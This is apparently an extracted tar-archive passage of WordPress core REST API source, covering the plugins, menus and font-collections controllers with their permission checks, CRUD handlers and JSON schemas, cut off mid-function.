'activate_plugins' ) ) { return new WP_Error( 'rest_cannot_activate_plugin', __( 'Sorry, you are not allowed to activate plugins.' ), array( 'status' => rest_authorization_required_code(), ) ); } return true; } /** * Uploads a plugin and optionally activates it. * * @since 5.5.0 * * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { global $wp_filesystem; require_once ABSPATH . 'wp-admin/includes/file.php'; require_once ABSPATH . 'wp-admin/includes/plugin.php'; require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; $slug = $request['slug']; // Verify filesystem is accessible first. $filesystem_available = $this->is_filesystem_available(); if ( is_wp_error( $filesystem_available ) ) { return $filesystem_available; } $api = plugins_api( 'plugin_information', array( 'slug' => $slug, 'fields' => array( 'sections' => false, 'language_packs' => true, ), ) ); if ( is_wp_error( $api ) ) { if ( false !== strpos( $api->get_error_message(), 'Plugin not found.' ) ) { $api->add_data( array( 'status' => 404 ) ); } else { $api->add_data( array( 'status' => 500 ) ); } return $api; } $skin = new WP_Ajax_Upgrader_Skin(); $upgrader = new Plugin_Upgrader( $skin ); $result = $upgrader->install( $api->download_link ); if ( is_wp_error( $result ) ) { $result->add_data( array( 'status' => 500 ) ); return $result; } // This should be the same as $result above. if ( is_wp_error( $skin->result ) ) { $skin->result->add_data( array( 'status' => 500 ) ); return $skin->result; } if ( $skin->get_errors()->has_errors() ) { $error = $skin->get_errors(); $error->add_data( array( 'status' => 500 ) ); return $error; } if ( is_null( $result ) ) { // Pass through the error from WP_Filesystem if one was raised. if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) { return new WP_Error( 'unable_to_connect_to_filesystem', $wp_filesystem->errors->get_error_message(), array( 'status' => 500 ) ); } return new WP_Error( 'unable_to_connect_to_filesystem', __( 'Unable to connect to the filesystem. Please confirm your credentials.' ), array( 'status' => 500 ) ); } $file = $upgrader->plugin_info(); if ( ! $file ) { return new WP_Error( 'unable_to_determine_installed_plugin', __( 'Unable to determine what plugin was installed.' ), array( 'status' => 500 ) ); } if ( 'inactive' !== $request['status'] ) { $can_change_status = $this->plugin_status_permission_check( $file, $request['status'], 'inactive' ); if ( is_wp_error( $can_change_status ) ) { return $can_change_status; } $changed_status = $this->handle_plugin_status( $file, $request['status'], 'inactive' ); if ( is_wp_error( $changed_status ) ) { return $changed_status; } } // Install translations. $installed_locales = array_values( get_available_languages() ); /** This filter is documented in wp-includes/update.php */ $installed_locales = apply_filters( 'plugins_update_check_locales', $installed_locales ); $language_packs = array_map( static function( $item ) { return (object) $item; }, $api->language_packs ); $language_packs = array_filter( $language_packs, static function( $pack ) use ( $installed_locales ) { return in_array( $pack->language, $installed_locales, true ); } ); if ( $language_packs ) { $lp_upgrader = new Language_Pack_Upgrader( $skin ); // Install all applicable language packs for the plugin. $lp_upgrader->bulk_upgrade( $language_packs ); } $path = WP_PLUGIN_DIR . '/' . $file; $data = get_plugin_data( $path, false, false ); $data['_file'] = $file; $response = $this->prepare_item_for_response( $data, $request ); $response->set_status( 201 ); $response->header( 'Location', rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, substr( $file, 0, - 4 ) ) ) ); return $response; } /** * Checks if a given request has access to update a specific plugin. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; if ( ! current_user_can( 'activate_plugins' ) ) { return new WP_Error( 'rest_cannot_manage_plugins', __( 'Sorry, you are not allowed to manage plugins for this site.' ), array( 'status' => rest_authorization_required_code() ) ); } $can_read = $this->check_read_permission( $request['plugin'] ); if ( is_wp_error( $can_read ) ) { return $can_read; } $status = $this->get_plugin_status( $request['plugin'] ); if ( $request['status'] && $status !== $request['status'] ) { $can_change_status = $this->plugin_status_permission_check( $request['plugin'], $request['status'], $status ); if ( is_wp_error( $can_change_status ) ) { return $can_change_status; } } return true; } /** * Updates one plugin. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; $data = $this->get_plugin_data( $request['plugin'] ); if ( is_wp_error( $data ) ) { return $data; } $status = $this->get_plugin_status( $request['plugin'] ); if ( $request['status'] && $status !== $request['status'] ) { $handled = $this->handle_plugin_status( $request['plugin'], $request['status'], $status ); if ( is_wp_error( $handled ) ) { return $handled; } } $this->update_additional_fields_for_object( $data, $request ); $request['context'] = 'edit'; return $this->prepare_item_for_response( $data, $request ); } /** * Checks if a given request has access to delete a specific plugin. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise. */ public function delete_item_permissions_check( $request ) { if ( ! current_user_can( 'activate_plugins' ) ) { return new WP_Error( 'rest_cannot_manage_plugins', __( 'Sorry, you are not allowed to manage plugins for this site.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! current_user_can( 'delete_plugins' ) ) { return new WP_Error( 'rest_cannot_manage_plugins', __( 'Sorry, you are not allowed to delete plugins for this site.' ), array( 'status' => rest_authorization_required_code() ) ); } $can_read = $this->check_read_permission( $request['plugin'] ); if ( is_wp_error( $can_read ) ) { return $can_read; } return true; } /** * Deletes one plugin from the site. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { require_once ABSPATH . 'wp-admin/includes/file.php'; require_once ABSPATH . 'wp-admin/includes/plugin.php'; $data = $this->get_plugin_data( $request['plugin'] ); if ( is_wp_error( $data ) ) { return $data; } if ( is_plugin_active( $request['plugin'] ) ) { return new WP_Error( 'rest_cannot_delete_active_plugin', __( 'Cannot delete an active plugin. Please deactivate it first.' ), array( 'status' => 400 ) ); } $filesystem_available = $this->is_filesystem_available(); if ( is_wp_error( $filesystem_available ) ) { return $filesystem_available; } $prepared = $this->prepare_item_for_response( $data, $request ); $deleted = delete_plugins( array( $request['plugin'] ) ); if ( is_wp_error( $deleted ) ) { $deleted->add_data( array( 'status' => 500 ) ); return $deleted; } return new WP_REST_Response( array( 'deleted' => true, 'previous' => $prepared->get_data(), ) ); } /** * Prepares the plugin for the REST response. * * @since 5.5.0 * * @param mixed $item Unmarked up and untranslated plugin data from {@see get_plugin_data()}. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function prepare_item_for_response( $item, $request ) { $item = _get_plugin_data_markup_translate( $item['_file'], $item, false ); $marked = _get_plugin_data_markup_translate( $item['_file'], $item, true ); $data = array( 'plugin' => substr( $item['_file'], 0, - 4 ), 'status' => $this->get_plugin_status( $item['_file'] ), 'name' => $item['Name'], 'plugin_uri' => $item['PluginURI'], 'author' => $item['Author'], 'author_uri' => $item['AuthorURI'], 'description' => array( 'raw' => $item['Description'], 'rendered' => $marked['Description'], ), 'version' => $item['Version'], 'network_only' => $item['Network'], 'requires_wp' => $item['RequiresWP'], 'requires_php' => $item['RequiresPHP'], 'textdomain' => $item['TextDomain'], ); $data = $this->add_additional_fields_to_object( $data, $request ); $response = new WP_REST_Response( $data ); $response->add_links( $this->prepare_links( $item ) ); /** * Filters plugin data for a REST API response. * * @since 5.5.0 * * @param WP_REST_Response $response The response object. * @param array $item The plugin item from {@see get_plugin_data()}. * @param WP_REST_Request $request The request object. */ return apply_filters( 'rest_prepare_plugin', $response, $item, $request ); } /** * Prepares links for the request. * * @since 5.5.0 * * @param array $item The plugin item. * @return array[] */ protected function prepare_links( $item ) { return array( 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, substr( $item['_file'], 0, - 4 ) ) ), ), ); } /** * Gets the plugin header data for a plugin. * * @since 5.5.0 * * @param string $plugin The plugin file to get data for. * @return array|WP_Error The plugin data, or a WP_Error if the plugin is not installed. */ protected function get_plugin_data( $plugin ) { $plugins = get_plugins(); if ( ! isset( $plugins[ $plugin ] ) ) { return new WP_Error( 'rest_plugin_not_found', __( 'Plugin not found.' ), array( 'status' => 404 ) ); } $data = $plugins[ $plugin ]; $data['_file'] = $plugin; return $data; } /** * Get's the activation status for a plugin. * * @since 5.5.0 * * @param string $plugin The plugin file to check. * @return string Either 'network-active', 'active' or 'inactive'. */ protected function get_plugin_status( $plugin ) { if ( is_plugin_active_for_network( $plugin ) ) { return 'network-active'; } if ( is_plugin_active( $plugin ) ) { return 'active'; } return 'inactive'; } /** * Handle updating a plugin's status. * * @since 5.5.0 * * @param string $plugin The plugin file to update. * @param string $new_status The plugin's new status. * @param string $current_status The plugin's current status. * @return true|WP_Error */ protected function plugin_status_permission_check( $plugin, $new_status, $current_status ) { if ( is_multisite() && ( 'network-active' === $current_status || 'network-active' === $new_status ) && ! current_user_can( 'manage_network_plugins' ) ) { return new WP_Error( 'rest_cannot_manage_network_plugins', __( 'Sorry, you are not allowed to manage network plugins.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ( 'active' === $new_status || 'network-active' === $new_status ) && ! current_user_can( 'activate_plugin', $plugin ) ) { return new WP_Error( 'rest_cannot_activate_plugin', __( 'Sorry, you are not allowed to activate this plugin.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( 'inactive' === $new_status && ! current_user_can( 'deactivate_plugin', $plugin ) ) { return new WP_Error( 'rest_cannot_deactivate_plugin', __( 'Sorry, you are not allowed to deactivate this plugin.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Handle updating a plugin's status. * * @since 5.5.0 * * @param string $plugin The plugin file to update. * @param string $new_status The plugin's new status. * @param string $current_status The plugin's current status. * @return true|WP_Error */ protected function handle_plugin_status( $plugin, $new_status, $current_status ) { if ( 'inactive' === $new_status ) { deactivate_plugins( $plugin, false, 'network-active' === $current_status ); return true; } if ( 'active' === $new_status && 'network-active' === $current_status ) { return true; } $network_activate = 'network-active' === $new_status; if ( is_multisite() && ! $network_activate && is_network_only_plugin( $plugin ) ) { return new WP_Error( 'rest_network_only_plugin', __( 'Network only plugin must be network activated.' ), array( 'status' => 400 ) ); } $activated = activate_plugin( $plugin, '', $network_activate ); if ( is_wp_error( $activated ) ) { $activated->add_data( array( 'status' => 500 ) ); return $activated; } return true; } /** * Checks that the "plugin" parameter is a valid path. * * @since 5.5.0 * * @param string $file The plugin file parameter. * @return bool */ public function validate_plugin_param( $file ) { if ( ! is_string( $file ) || ! preg_match( '/' . self::PATTERN . '/u', $file ) ) { return false; } $validated = validate_file( plugin_basename( $file ) ); return 0 === $validated; } /** * Sanitizes the "plugin" parameter to be a proper plugin file with ".php" appended. * * @since 5.5.0 * * @param string $file The plugin file parameter. * @return string */ public function sanitize_plugin_param( $file ) { return plugin_basename( sanitize_text_field( $file . '.php' ) ); } /** * Checks if the plugin matches the requested parameters. * * @since 5.5.0 * * @param WP_REST_Request $request The request to require the plugin matches against. * @param array $item The plugin item. * @return bool */ protected function does_plugin_match_request( $request, $item ) { $search = $request['search']; if ( $search ) { $matched_search = false; foreach ( $item as $field ) { if ( is_string( $field ) && false !== strpos( strip_tags( $field ), $search ) ) { $matched_search = true; break; } } if ( ! $matched_search ) { return false; } } $status = $request['status']; if ( $status && ! in_array( $this->get_plugin_status( $item['_file'] ), $status, true ) ) { return false; } return true; } /** * Checks if the plugin is installed. * * @since 5.5.0 * * @param string $plugin The plugin file. * @return bool */ protected function is_plugin_installed( $plugin ) { return file_exists( WP_PLUGIN_DIR . '/' . $plugin ); } /** * Determine if the endpoints are available. * * Only the 'Direct' filesystem transport, and SSH/FTP when credentials are stored are supported at present. * * @since 5.5.0 * * @return true|WP_Error True if filesystem is available, WP_Error otherwise. */ protected function is_filesystem_available() { $filesystem_method = get_filesystem_method(); if ( 'direct' === $filesystem_method ) { return true; } ob_start(); $filesystem_credentials_are_stored = request_filesystem_credentials( self_admin_url() ); ob_end_clean(); if ( $filesystem_credentials_are_stored ) { return true; } return new WP_Error( 'fs_unavailable', __( 'The filesystem is currently unavailable for managing plugins.' ), array( 'status' => 500 ) ); } /** * Retrieves the plugin's schema, conforming to JSON Schema. * * @since 5.5.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'plugin', 'type' => 'object', 'properties' => array( 'plugin' => array( 'description' => __( 'The plugin file.' ), 'type' => 'string', 'pattern' => self::PATTERN, 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'status' => array( 'description' => __( 'The plugin activation status.' ), 'type' => 'string', 'enum' => is_multisite() ? array( 'inactive', 'active', 'network-active' ) : array( 'inactive', 'active' ), 'context' => array( 'view', 'edit', 'embed' ), ), 'name' => array( 'description' => __( 'The plugin name.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'plugin_uri' => array( 'description' => __( 'The plugin\'s website address.' ), 'type' => 'string', 'format' => 'uri', 'readonly' => true, 'context' => array( 'view', 'edit' ), ), 'author' => array( 'description' => __( 'The plugin author.' ), 'type' => 'object', 'readonly' => true, 'context' => array( 'view', 'edit' ), ), 'author_uri' => array( 'description' => __( 'Plugin author\'s website address.' ), 'type' => 'string', 'format' => 'uri', 'readonly' => true, 'context' => array( 'view', 'edit' ), ), 'description' => array( 'description' => __( 'The plugin description.' ), 'type' => 'object', 'readonly' => true, 'context' => array( 'view', 'edit' ), 'properties' => array( 'raw' => array( 'description' => __( 'The raw plugin description.' ), 'type' => 'string', ), 'rendered' => array( 'description' => __( 'The plugin description formatted for display.' ), 'type' => 'string', ), ), ), 'version' => array( 'description' => __( 'The plugin version number.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit' ), ), 'network_only' => array( 'description' => __( 'Whether the plugin can only be activated network-wide.' ), 'type' => 'boolean', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'requires_wp' => array( 'description' => __( 'Minimum required version of WordPress.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'requires_php' => array( 'description' => __( 'Minimum required version of PHP.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'textdomain' => array( 'description' => __( 'The plugin\'s text domain.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit' ), ), ), ); return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for the collections. * * @since 5.5.0 * * @return array Query parameters for the collection. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['context']['default'] = 'view'; $query_params['status'] = array( 'description' => __( 'Limits results to plugins with the given status.' ), 'type' => 'array', 'items' => array( 'type' => 'string', 'enum' => is_multisite() ? array( 'inactive', 'active', 'network-active' ) : array( 'inactive', 'active' ), ), ); unset( $query_params['page'], $query_params['per_page'] ); return $query_params; } } rest-api/endpoints/class-wp-rest-menus-controller.php000064400000040217147177035020017030 0ustar00check_has_read_only_access( $request ); } /** * Checks if a request has access to read or edit the specified menu. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return bool|WP_Error True if the request has read access for the item, otherwise false or WP_Error object. */ public function get_item_permissions_check( $request ) { $has_permission = parent::get_item_permissions_check( $request ); if ( true !== $has_permission ) { return $has_permission; } return $this->check_has_read_only_access( $request ); } /** * Gets the term, if the ID is valid. * * @since 5.9.0 * * @param int $id Supplied ID. * @return WP_Term|WP_Error Term object if ID is valid, WP_Error otherwise. */ protected function get_term( $id ) { $term = parent::get_term( $id ); if ( is_wp_error( $term ) ) { return $term; } $nav_term = wp_get_nav_menu_object( $term ); $nav_term->auto_add = $this->get_menu_auto_add( $nav_term->term_id ); return $nav_term; } /** * Checks whether the current user has read permission for the endpoint. * * This allows for any user that can `edit_theme_options` or edit any REST API available post type. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return bool|WP_Error Whether the current user has permission. */ protected function check_has_read_only_access( $request ) { if ( current_user_can( 'edit_theme_options' ) ) { return true; } if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to view menus.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Prepares a single term output for response. * * @since 5.9.0 * * @param WP_Term $term Term object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $term, $request ) { $nav_menu = wp_get_nav_menu_object( $term ); $response = parent::prepare_item_for_response( $nav_menu, $request ); $fields = $this->get_fields_for_response( $request ); $data = $response->get_data(); if ( rest_is_field_included( 'locations', $fields ) ) { $data['locations'] = $this->get_menu_locations( $nav_menu->term_id ); } if ( rest_is_field_included( 'auto_add', $fields ) ) { $data['auto_add'] = $this->get_menu_auto_add( $nav_menu->term_id ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); $response->add_links( $this->prepare_links( $term ) ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */ return apply_filters( "rest_prepare_{$this->taxonomy}", $response, $term, $request ); } /** * Prepares links for the request. * * @since 5.9.0 * * @param WP_Term $term Term object. * @return array Links for the given term. */ protected function prepare_links( $term ) { $links = parent::prepare_links( $term ); $locations = $this->get_menu_locations( $term->term_id ); foreach ( $locations as $location ) { $url = rest_url( sprintf( 'wp/v2/menu-locations/%s', $location ) ); $links['https://api.w.org/menu-location'][] = array( 'href' => $url, 'embeddable' => true, ); } return $links; } /** * Prepares a single term for create or update. * * @since 5.9.0 * * @param WP_REST_Request $request Request object. * @return object Prepared term data. */ public function prepare_item_for_database( $request ) { $prepared_term = parent::prepare_item_for_database( $request ); $schema = $this->get_item_schema(); if ( isset( $request['name'] ) && ! empty( $schema['properties']['name'] ) ) { $prepared_term->{'menu-name'} = $request['name']; } return $prepared_term; } /** * Creates a single term in a taxonomy. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { if ( isset( $request['parent'] ) ) { if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) { return new WP_Error( 'rest_taxonomy_not_hierarchical', __( 'Cannot set parent term, taxonomy is not hierarchical.' ), array( 'status' => 400 ) ); } $parent = wp_get_nav_menu_object( (int) $request['parent'] ); if ( ! $parent ) { return new WP_Error( 'rest_term_invalid', __( 'Parent term does not exist.' ), array( 'status' => 400 ) ); } } $prepared_term = $this->prepare_item_for_database( $request ); $term = wp_update_nav_menu_object( 0, wp_slash( (array) $prepared_term ) ); if ( is_wp_error( $term ) ) { /* * If we're going to inform the client that the term already exists, * give them the identifier for future use. */ if ( in_array( 'menu_exists', $term->get_error_codes(), true ) ) { $existing_term = get_term_by( 'name', $prepared_term->{'menu-name'}, $this->taxonomy ); $term->add_data( $existing_term->term_id, 'menu_exists' ); $term->add_data( array( 'status' => 400, 'term_id' => $existing_term->term_id, ) ); } else { $term->add_data( array( 'status' => 400 ) ); } return $term; } $term = $this->get_term( $term ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */ do_action( "rest_insert_{$this->taxonomy}", $term, $request, true ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $term->term_id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $locations_update = $this->handle_locations( $term->term_id, $request ); if ( is_wp_error( $locations_update ) ) { return $locations_update; } $this->handle_auto_add( $term->term_id, $request ); $fields_update = $this->update_additional_fields_for_object( $term, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'view' ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */ do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, true ); $response = $this->prepare_item_for_response( $term, $request ); $response = rest_ensure_response( $response ); $response->set_status( 201 ); $response->header( 'Location', rest_url( $this->namespace . '/' . $this->rest_base . '/' . $term->term_id ) ); return $response; } /** * Updates a single term from a taxonomy. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { $term = $this->get_term( $request['id'] ); if ( is_wp_error( $term ) ) { return $term; } if ( isset( $request['parent'] ) ) { if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) { return new WP_Error( 'rest_taxonomy_not_hierarchical', __( 'Cannot set parent term, taxonomy is not hierarchical.' ), array( 'status' => 400 ) ); } $parent = get_term( (int) $request['parent'], $this->taxonomy ); if ( ! $parent ) { return new WP_Error( 'rest_term_invalid', __( 'Parent term does not exist.' ), array( 'status' => 400 ) ); } } $prepared_term = $this->prepare_item_for_database( $request ); // Only update the term if we have something to update. if ( ! empty( $prepared_term ) ) { if ( ! isset( $prepared_term->{'menu-name'} ) ) { // wp_update_nav_menu_object() requires that the menu-name is always passed. $prepared_term->{'menu-name'} = $term->name; } $update = wp_update_nav_menu_object( $term->term_id, wp_slash( (array) $prepared_term ) ); if ( is_wp_error( $update ) ) { return $update; } } $term = get_term( $term->term_id, $this->taxonomy ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */ do_action( "rest_insert_{$this->taxonomy}", $term, $request, false ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $term->term_id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $locations_update = $this->handle_locations( $term->term_id, $request ); if ( is_wp_error( $locations_update ) ) { return $locations_update; } $this->handle_auto_add( $term->term_id, $request ); $fields_update = $this->update_additional_fields_for_object( $term, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'view' ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */ do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, false ); $response = $this->prepare_item_for_response( $term, $request ); return rest_ensure_response( $response ); } /** * Deletes a single term from a taxonomy. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { $term = $this->get_term( $request['id'] ); if ( is_wp_error( $term ) ) { return $term; } // We don't support trashing for terms. if ( ! $request['force'] ) { /* translators: %s: force=true */ return new WP_Error( 'rest_trash_not_supported', sprintf( __( "Menus do not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) ); } $request->set_param( 'context', 'view' ); $previous = $this->prepare_item_for_response( $term, $request ); $result = wp_delete_nav_menu( $term ); if ( ! $result || is_wp_error( $result ) ) { return new WP_Error( 'rest_cannot_delete', __( 'The menu cannot be deleted.' ), array( 'status' => 500 ) ); } $response = new WP_REST_Response(); $response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data(), ) ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */ do_action( "rest_delete_{$this->taxonomy}", $term, $response, $request ); return $response; } /** * Returns the value of a menu's auto_add setting. * * @since 5.9.0 * * @param int $menu_id The menu id to query. * @return bool The value of auto_add. */ protected function get_menu_auto_add( $menu_id ) { $nav_menu_option = (array) get_option( 'nav_menu_options', array( 'auto_add' => array() ) ); return in_array( $menu_id, $nav_menu_option['auto_add'], true ); } /** * Updates the menu's auto add from a REST request. * * @since 5.9.0 * * @param int $menu_id The menu id to update. * @param WP_REST_Request $request Full details about the request. * @return bool True if the auto add setting was successfully updated. */ protected function handle_auto_add( $menu_id, $request ) { if ( ! isset( $request['auto_add'] ) ) { return true; } $nav_menu_option = (array) get_option( 'nav_menu_options', array( 'auto_add' => array() ) ); if ( ! isset( $nav_menu_option['auto_add'] ) ) { $nav_menu_option['auto_add'] = array(); } $auto_add = $request['auto_add']; $i = array_search( $menu_id, $nav_menu_option['auto_add'], true ); if ( $auto_add && false === $i ) { $nav_menu_option['auto_add'][] = $menu_id; } elseif ( ! $auto_add && false !== $i ) { array_splice( $nav_menu_option['auto_add'], $i, 1 ); } $update = update_option( 'nav_menu_options', $nav_menu_option ); /** This action is documented in wp-includes/nav-menu.php */ do_action( 'wp_update_nav_menu', $menu_id ); return $update; } /** * Returns the names of the locations assigned to the menu. * * @since 5.9.0 * * @param int $menu_id The menu id. * @return string[] The locations assigned to the menu. */ protected function get_menu_locations( $menu_id ) { $locations = get_nav_menu_locations(); $menu_locations = array(); foreach ( $locations as $location => $assigned_menu_id ) { if ( $menu_id === $assigned_menu_id ) { $menu_locations[] = $location; } } return $menu_locations; } /** * Updates the menu's locations from a REST request. * * @since 5.9.0 * * @param int $menu_id The menu id to update. * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True on success, a WP_Error on an error updating any of the locations. */ protected function handle_locations( $menu_id, $request ) { if ( ! isset( $request['locations'] ) ) { return true; } $menu_locations = get_registered_nav_menus(); $menu_locations = array_keys( $menu_locations ); $new_locations = array(); foreach ( $request['locations'] as $location ) { if ( ! in_array( $location, $menu_locations, true ) ) { return new WP_Error( 'rest_invalid_menu_location', __( 'Invalid menu location.' ), array( 'status' => 400, 'location' => $location, ) ); } $new_locations[ $location ] = $menu_id; } $assigned_menu = get_nav_menu_locations(); foreach ( $assigned_menu as $location => $term_id ) { if ( $term_id === $menu_id ) { unset( $assigned_menu[ $location ] ); } } $new_assignments = array_merge( $assigned_menu, $new_locations ); set_theme_mod( 'nav_menu_locations', $new_assignments ); return true; } /** * Retrieves the term's schema, conforming to JSON Schema. * * @since 5.9.0 * * @return array Item schema data. */ public function get_item_schema() { $schema = parent::get_item_schema(); unset( $schema['properties']['count'], $schema['properties']['link'], $schema['properties']['taxonomy'] ); $schema['properties']['locations'] = array( 'description' => __( 'The locations assigned to the menu.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), 'context' => array( 'view', 'edit' ), 'arg_options' => array( 'validate_callback' => function ( $locations, $request, $param ) { $valid = rest_validate_request_arg( $locations, $request, $param ); if ( true !== $valid ) { return $valid; } $locations = rest_sanitize_request_arg( $locations, $request, $param ); foreach ( $locations as $location ) { if ( ! array_key_exists( $location, get_registered_nav_menus() ) ) { return new WP_Error( 'rest_invalid_menu_location', __( 'Invalid menu location.' ), array( 'location' => $location, ) ); } } return true; }, ), ); $schema['properties']['auto_add'] = array( 'description' => __( 'Whether to automatically add top level pages to this menu.' ), 'context' => array( 'view', 'edit' ), 'type' => 'boolean', ); return $schema; } } rest-api/endpoints/class-wp-rest-font-collections-controller.php000064400000022272147177035020021164 0ustar00rest_base = 'font-collections'; $this->namespace = 'wp/v2'; } /** * Registers the routes for the objects of the controller. * * @since 6.5.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\/\w-]+)', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Gets the font collections available. * * @since 6.5.0 * * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $collections_all = WP_Font_Library::get_instance()->get_font_collections(); $page = $request['page']; $per_page = $request['per_page']; $total_items = count( $collections_all ); $max_pages = (int) ceil( $total_items / $per_page ); if ( $page > $max_pages && $total_items > 0 ) { return new WP_Error( 'rest_post_invalid_page_number', __( 'The page number requested is larger than the number of pages available.' ), array( 'status' => 400 ) ); } $collections_page = array_slice( $collections_all, ( $page - 1 ) * $per_page, $per_page ); $items = array(); foreach ( $collections_page as $collection ) { $item = $this->prepare_item_for_response( $collection, $request ); // If there's an error loading a collection, skip it and continue loading valid collections. if ( is_wp_error( $item ) ) { continue; } $item = $this->prepare_response_for_collection( $item ); $items[] = $item; } $response = rest_ensure_response( $items ); $response->header( 'X-WP-Total', (int) $total_items ); $response->header( 'X-WP-TotalPages', $max_pages ); $request_params = $request->get_query_params(); $collection_url = rest_url( $this->namespace . '/' . $this->rest_base ); $base = add_query_arg( urlencode_deep( $request_params ), $collection_url ); if ( $page > 1 ) { $prev_page = $page - 1; if ( $prev_page > $max_pages ) { $prev_page = $max_pages; } $prev_link = add_query_arg( 'page', $prev_page, $base ); $response->link_header( 'prev', $prev_link ); } if ( $max_pages > $page ) { $next_page = $page + 1; $next_link = add_query_arg( 'page', $next_page, $base ); $response->link_header( 'next', $next_link ); } return $response; } /** * Gets a font collection. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $slug = $request->get_param( 'slug' ); $collection = WP_Font_Library::get_instance()->get_font_collection( $slug ); if ( ! $collection ) { return new WP_Error( 'rest_font_collection_not_found', __( 'Font collection not found.' ), array( 'status' => 404 ) 